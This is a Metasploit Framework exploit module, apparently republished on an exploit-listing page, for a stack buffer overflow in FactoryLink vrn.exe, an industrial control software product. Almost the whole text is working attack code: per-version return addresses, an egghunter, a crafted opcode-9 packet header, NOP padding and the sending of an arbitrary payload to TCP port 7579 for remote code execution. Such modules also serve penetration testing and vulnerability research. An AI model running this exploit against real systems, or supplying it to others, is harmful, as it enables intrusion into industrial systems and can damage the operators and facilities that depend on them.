ExploitFixes
FactoryLink vrn.exe Opcode 9 Buffer Overflow 2011-06-22 10:15:09

##
# $Id: factorylink_vrn_09.rb 12998 2011-06-21 21:08:57Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to
execute arbitrary code due to the improper use of a vsprintf() function while
processing the user-supplied text field. Originally found and posted by
Luigi Auriemma.
},
'Author' =>
[
'Luigi Auriemma', # Public exploit
'hal' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12998 $',
'References' =>
[
['OSVDB', '72815'],
['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 885,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'padding' => 0 } ],
[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'padding' => 4 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2011'))

register_options([Opt::RPORT(7579)], self.class)
end

def exploit
connect

#The use of egghunter seems appropriate due to the small buffer in [ESP+8]
hunter = generate_egghunter(payload.encoded, payload_badchars,
{ :checksum => true, :startreg => 'ebp'})

egg = hunter[1]

header = "\x3f\x3f\x3f\x3f"
header << "\xff\x55"
header << "\x09\x00"
header << "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
header << "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
header << "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
header << "\x3f\x3f"
header << "\xff\xff\xff\xff"
header << "\x3f\x3f"

request = header
request << rand_text_alpha_upper(100)
request << egg
request << rand_text_alpha(target['padding'])
request << "\xeb\x06\x90\x90"
request << [target.ret].pack('V')
request << make_nops(24)
request << hunter[0]
request << rand_text_alpha_upper(100000)

print_status("Trying target #{target.name} with #{request.size} bytes")
sock.put(request)

handler
disconnect
end
end